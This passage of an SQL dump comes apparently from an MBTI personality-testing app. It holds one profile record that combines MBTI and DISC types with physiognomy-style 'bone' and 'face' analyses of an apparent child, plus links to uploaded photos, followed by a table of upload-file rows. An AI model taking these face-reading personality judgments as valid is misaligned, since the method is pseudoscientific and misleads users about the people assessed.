{\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"开朗活泼,好奇心强,具备创造力和团队感染力,适应环境能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"木形,骨肉匀停,骨相灵秀,童年阶段潜质清晰,面部结构均衡。\", \"faceAnalysis\": \"额头宽阔饱满,眼神灵动,鼻子圆润,嘴唇适中,下巴圆厚,双耳对称。\", \"personalitySummary\": \"充满活力,思路开放,善于表达兴趣与情感,乐于与人互动,情绪自调能力佳,适合多元探索、团队合作及体验型成长环境。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773286899, 1773286899, 6, 'enterprise'); + +-- ---------------------------- +-- Table structure for mbti_upload_files +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_upload_files`; +CREATE TABLE `mbti_upload_files` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', + `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', + `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', + `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', + `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', + `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', + `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_upload_files +-- ---------------------------- +INSERT INTO `mbti_upload_files` VALUES (3, 'mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'https://res.quwanzhi.com/mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'oss', '37913551561757f3c26c515256c3fabb', 4567, 'image/jpeg', 'jpeg', 1770965712, 1770965712); +INSERT INTO `mbti_upload_files` VALUES (4, 'mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'oss', '581fe7ab377843cbe8c6edb5f426e120', 4570, 'image/jpeg', 'jpeg', 1770965854, 1770965854); +INSERT INTO `mbti_upload_files` VALUES (5, 'mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'oss', '9a463bb0a7fb80f0254b8a26e39fe410', 4570, 'image/jpeg', 'jpeg', 1770967112, 1770967112); +INSERT INTO `mbti_upload_files` VALUES (7, 'mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'oss', '97d8174a96a724338220c08ebe096068', 188330, 'image/jpeg', 'jpeg', 1771921770, 1771921770); +INSERT INTO `mbti_upload_files` VALUES (8, 'mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'oss', 'e7f99df4bcd33d69bdb5ea2613fdcb9b', 121623, 'image/jpeg', 'png', 1772074427, 1772074427); +INSERT INTO `mbti_upload_files` VALUES (9, 'mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'oss', '92e066d336c9a92c6a6485e15372daf6', 753777, 'image/jpeg', 'jpeg', 1772074427, 1772074427); +INSERT INTO `mbti_upload_files` VALUES (10, 'mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'oss', '5f0eaee6fc3c22e5980627581dfce816', 903689, 'image/jpeg', 'jpeg', 1772074428, 1772074428); +INSERT INTO `mbti_upload_files` VALUES (11, 'mbti/20260228/img_69a288c30b4767.42934501.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg', 'oss', '54303b0c7f5e1fefc0c9b9314303cc5c', 56628, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (12, 'mbti/20260228/img_69a288c316fc40.15562256.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg', 'oss', '83693f93117385e2074f0d41f3427c95', 30089, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (13, 'mbti/20260228/img_69a288c320ed11.93271163.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg', 'oss', 'c4797312a2322cea2a2d306c7a24dadd', 37709, 'image/jpeg', 'jpg', 1772259523, 1772259523); +INSERT INTO `mbti_upload_files` VALUES (14, 'mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'oss', '3be645054d5143c122856432c967b2c6', 123348, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (15, 'mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'oss', '89ec46c3d4c3cd47a19414754fcf3225', 133912, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (16, 'mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'oss', 'a5ae3d7785c5252fdf4ae8fa1b775b01', 134395, 'image/jpeg', 'jpg', 1772260126, 1772260126); +INSERT INTO `mbti_upload_files` VALUES (17, 'mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'oss', '27b45c4caed71ea0b16803d2c5bf72b4', 237939, 'image/jpeg', 'jpg', 1772263689, 1772263689); +INSERT INTO `mbti_upload_files` VALUES (18, 'mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'oss', '96c4b1821b37fab580fe5f45f57de1dc', 42807, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (19, 'mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'oss', '7d4fca2c35e83c61833e35be179e7113', 41834, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (20, 'mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'oss', '3fd2da6514e199297c86ca9f0fb5ce2c', 42092, 'image/jpeg', 'jpg', 1772273306, 1772273306); +INSERT INTO `mbti_upload_files` VALUES (21, 'mbti/20260302/img_69a5027b019460.49988894.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', 'oss', '2bc17026cd7f3f710b5de7748f8f9194', 560, 'image/png', 'png', 1772421755, 1772421755); +INSERT INTO `mbti_upload_files` VALUES (22, 'mbti/20260302/img_69a506f91a7166.23669621.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg', 'oss', 'af349074364fe14d5bc06ab2de1af1ab', 87871, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (23, 'mbti/20260302/img_69a506f91de049.43887143.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg', 'oss', 'e5d86eb62820f4021d0023a73e7676e5', 84501, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (24, 'mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'oss', '9bf66bf414cfa6749017c63720a76ec4', 79820, 'image/jpeg', 'jpg', 1772422905, 1772422905); +INSERT INTO `mbti_upload_files` VALUES (25, 'mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'oss', '326045712ac33916089e8ef0bafcd003', 21005, 'image/jpeg', 'jpg', 1772428077, 1772428077); +INSERT INTO `mbti_upload_files` VALUES (26, 'mbti/20260303/img_69a6844f999b87.63229945.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png', 'oss', 'e9c53355b41ca176a6e59dd51a5c78ec', 98521, 'image/jpeg', 'png', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (27, 'mbti/20260303/img_69a6844f943017.17894021.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg', 'oss', 'c35fb9d393b36f1183a6feff7924059a', 165765, 'image/jpeg', 'jpg', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (28, 'mbti/20260303/img_69a6844f95c675.65376842.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png', 'oss', '5eb86c160a190bc4ac76dfb7254caaba', 100588, 'image/jpeg', 'png', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (29, 'mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'oss', '832d10dd83b4e3cde3c16a58ba3b48ac', 4278, 'image/jpeg', 'jpg', 1772535605, 1772535605); +INSERT INTO `mbti_upload_files` VALUES (30, 'mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'oss', '3b9c6fd5cbc9ffa5d27d1fcc63f2529b', 105212, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (31, 'mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'oss', 'f62c11ee04ee8b7c45d338d65440828f', 106974, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (32, 'mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'oss', 'c4b7862fba01e7572a9fbb692ca93ac2', 108085, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (33, 'mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'oss', '66ae33cc7beedade807e560ab0758a77', 130819, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (34, 'mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'oss', 'bd3516219793e724bcef670d0c75a397', 129203, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (35, 'mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'oss', 'dabdd1d6da43c1f28d2763e5d88eb616', 122807, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (36, 'mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'oss', 'c8364605bd9ab6e7bccd25be9c88dd40', 109690, 'image/jpeg', 'jpg', 1772535762, 1772535762); +INSERT INTO `mbti_upload_files` VALUES (37, 'mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'oss', '1a8f71164cf6355088eac5fe51a43332', 115557, 'image/jpeg', 'jpg', 1772535762, 1772535762); +INSERT INTO `mbti_upload_files` VALUES (38, 'mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'oss', 'b1618aee81a107a2446367486e7b15fb', 120923, 'image/jpeg', 'jpg', 1772535764, 1772535764); +INSERT INTO `mbti_upload_files` VALUES (39, 'mbti/20260304/img_69a7d993a31264.28523714.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png', 'oss', '7a238a038da6d5130c5a71c92aa51776', 59139, 'image/png', 'png', 1772607891, 1772607891); +INSERT INTO `mbti_upload_files` VALUES (40, 'mbti/20260304/img_69a7ee569a56a7.90410485.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7ee569a56a7.90410485.png', 'oss', 'd9678bc69b24ea37b6c88ad83dc9ec8a', 58195, 'image/png', 'png', 1772613206, 1772613206); +INSERT INTO `mbti_upload_files` VALUES (41, 'mbti/20260304/img_69a7f4bb529f73.42463703.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7f4bb529f73.42463703.png', 'oss', '20e4e82888525a3ec090187cb416e17b', 54753, 'image/png', 'png', 1772614843, 1772614843); +INSERT INTO `mbti_upload_files` VALUES (42, 'mbti/20260305/img_69a92fe4320f98.44874477.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a92fe4320f98.44874477.png', 'oss', '2be5305fef3d4f09ae494774eaa7f158', 176555, 'image/png', 'png', 1772695524, 1772695524); +INSERT INTO `mbti_upload_files` VALUES (43, 'mbti/20260305/img_69a93009e76ba4.00229379.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a93009e76ba4.00229379.png', 'oss', '7c45fe7e65fd901be08390d0467780bc', 1020534, 'image/png', 'png', 1772695562, 1772695562); +INSERT INTO `mbti_upload_files` VALUES (44, 'mbti/20260310/img_69af801d8441f3.91458120.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png', 'oss', 'f5e623af3f383d66ba8c2d71d7ee8514', 392310, 'image/png', 'png', 1773109278, 1773109278); +INSERT INTO `mbti_upload_files` VALUES (45, 'mbti/20260310/img_69afc570e96293.69974803.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e96293.69974803.jpg', 'oss', '20b939f680d6bf3154d0344cd64f77bb', 197820, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (46, 'mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'oss', 'e4c32699227a63a2965ad919266dc260', 203490, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (47, 'mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'oss', '3c1c899e7a604d4eb5c2ee15eeb301fd', 203421, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (48, 'mbti/20260310/img_69afc606a57237.43033150.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg', 'oss', '4be1aa248ced86f591bb060f355fbd51', 267603, 'image/jpeg', 'jpg', 1773127174, 1773127174); +INSERT INTO `mbti_upload_files` VALUES (49, 'mbti/20260310/img_69afc606bdb774.70305849.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg', 'oss', '234b04c50567e049306ce16abd48c73d', 266973, 'image/jpeg', 'jpg', 1773127175, 1773127175); +INSERT INTO `mbti_upload_files` VALUES (50, 'mbti/20260310/img_69afc606dde213.19573884.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg', 'oss', 'e029e630cfda7d25052c76c5ad9736fd', 267240, 'image/jpeg', 'jpg', 1773127176, 1773127176); +INSERT INTO `mbti_upload_files` VALUES (51, 'mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'oss', '1a3fcc3231fd1caad238d251952c65d5', 96512, 'image/jpeg', 'jpg', 1773127676, 1773127676); +INSERT INTO `mbti_upload_files` VALUES (52, 'mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'oss', '810969db03135c061f2c757a4aaee4cf', 3739, 'image/jpeg', 'jpeg', 1773127886, 1773127886); +INSERT INTO `mbti_upload_files` VALUES (53, 'mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'oss', '5b024629ed8b57c01a8ed60345e517bb', 251545, 'image/jpeg', 'jpg', 1773130620, 1773130620); +INSERT INTO `mbti_upload_files` VALUES (54, 'mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'oss', 'f31aae364ba9b2a8d021a53a32125d07', 265650, 'image/jpeg', 'jpg', 1773130620, 1773130620); +INSERT INTO `mbti_upload_files` VALUES (55, 'mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'oss', '3af1ed5cb4d9b56fa94d8c232de1d2e5', 249447, 'image/jpeg', 'jpg', 1773130621, 1773130621); +INSERT INTO `mbti_upload_files` VALUES (56, 'mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'oss', '6344cf4169a1b8b922b50ff6ed5a6af3', 108930, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (57, 'mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'oss', '563e035636b21df3d70f2c7c5a67ef82', 260914, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (58, 'mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'oss', 'b282006653e3049c61d5e8d7c75d0224', 241849, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (59, 'mbti/20260310/img_69afede13bda54.82616891.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg', 'oss', '3e37bc6c5c1f906b5a71e66e623d7bb1', 39009, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (60, 'mbti/20260310/img_69afede1498fb4.13618523.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg', 'oss', '4b2899e0d705037dea5bccc3095c100e', 41406, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (61, 'mbti/20260310/img_69afede146fe35.05214291.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg', 'oss', '4ecc5969a624b2fedf1735508cb9927d', 34525, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (62, 'mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'oss', '329f969ee25c319e364651dbfb3ebb10', 38585, 'image/jpeg', 'jpg', 1773137415, 1773137415); +INSERT INTO `mbti_upload_files` VALUES (63, 'mbti/20260310/img_69afee07df7c91.55175853.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg', 'oss', '10c2ffac870a37534aaa70726e833c4b', 40416, 'image/jpeg', 'jpg', 1773137415, 1773137415); +INSERT INTO `mbti_upload_files` VALUES (64, 'mbti/20260310/img_69afee07d96652.90735834.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg', 'oss', '1e126a209f9151b79f51cc2ff514b2b6', 36305, 'image/jpeg', 'jpg', 1773137416, 1773137416); +INSERT INTO `mbti_upload_files` VALUES (65, 'mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'oss', '395eebe591cf2c31b245cde43c083017', 140002, 'image/jpeg', 'jfif', 1773216290, 1773216290); +INSERT INTO `mbti_upload_files` VALUES (66, 'mbti/20260311/img_69b122215f6c00.42725600.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif', 'oss', 'b44035a5c43461e55478617b4dfb8f24', 147500, 'image/jpeg', 'jfif', 1773216292, 1773216292); +INSERT INTO `mbti_upload_files` VALUES (67, 'mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'oss', '930bb139f81eb4602e8277503f85dc19', 159211, 'image/jpeg', 'jfif', 1773216293, 1773216293); +INSERT INTO `mbti_upload_files` VALUES (68, 'mbti/20260311/img_69b1229473c992.26199330.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif', 'oss', '7a3038f690f4e2149a54a28556fe8f1f', 126656, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (69, 'mbti/20260311/img_69b12294706aa6.28073503.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif', 'oss', '2b9c5669701817d84f80eee55cc8ecd2', 136450, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (70, 'mbti/20260311/img_69b122946a54c6.37603583.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif', 'oss', '9b48790fddccaf294b050cc8f49d71d8', 142878, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (71, 'mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'oss', 'c49cc6b635abcc1a69389c72b9806fc1', 126764, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (72, 'mbti/20260311/img_69b128d154df95.81703712.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg', 'oss', '2e910aabcbd4c059507da065ce66e530', 99583, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (73, 'mbti/20260311/img_69b128d15502b8.73103052.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg', 'oss', '7cf9f2be739fd083df9d13e13b6d6a9a', 99851, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (74, 'mbti/20260311/img_69b129125da054.82470920.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg', 'oss', 'fdec09189ad31de155fd312389f31877', 109422, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (75, 'mbti/20260311/img_69b12912575b20.55637872.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg', 'oss', 'c6f76ff24b55b4455f47c0aa65e86eb4', 108104, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (76, 'mbti/20260311/img_69b1291258aed8.61725123.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg', 'oss', '514bbf423470dfaebca34840db697f5c', 110522, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (77, 'mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'oss', '855f2c94fd9d441b9679a44121c5db35', 121566, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (78, 'mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'oss', 'bc66272b2846da28d72008e10b8411ee', 116232, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (79, 'mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'oss', 'd6c5ce4427962417f38e705d90cb4ca4', 121973, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (80, 'mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'oss', 'e317f454a4c121ed4cc5900254c4f5d1', 117972, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (81, 'mbti/20260311/img_69b12e04924b36.48351571.jpg', 